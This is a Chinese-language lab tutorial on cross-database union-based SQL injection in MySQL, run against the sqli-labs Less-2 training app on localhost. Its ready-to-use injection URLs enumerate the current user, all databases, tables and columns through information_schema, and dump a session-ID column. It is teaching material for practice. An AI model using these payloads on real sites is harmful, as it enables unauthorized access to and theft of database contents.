1、跨库查询前置知识
1.1、前提条件
1、需要有注入点
2、需要有管理员权限,例如root权限
3、MYSQL版本在5.0以上
1.2、知识学习
在MYSQL5.0以上,会存在数据库名为information_schema的数据库,里面存储了很多信息;
在表名为schemata中存储了本服务器所有的数据库名:
且看到schemata表中,数据库名的字段为shcema_name
2、开始实验
2.1、实验环境
sqli-labs中less-2
2.2、实验
1、首先查询用户:
http://127.0.0.1:8077/sql/Less-2/?id=-1 union select 1,user(),3
符合跨库查询的条件;
2、查询所有数据库名:
http://127.0.0.1:8077/sql/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
3、例如想要查询数据库名为dvwa中的数据:
(1)、表名
http://127.0.0.1:8077/sql/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'
(2)、字段名
http://127.0.0.1:8077/sql/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='challenges' and table_name='vz7iq0wr97'
(3)、sessid
http://127.0.0.1:8077/sql/Less-2/?id=-1 union select 1,sessid,3 from challenges.vz7iq0wr97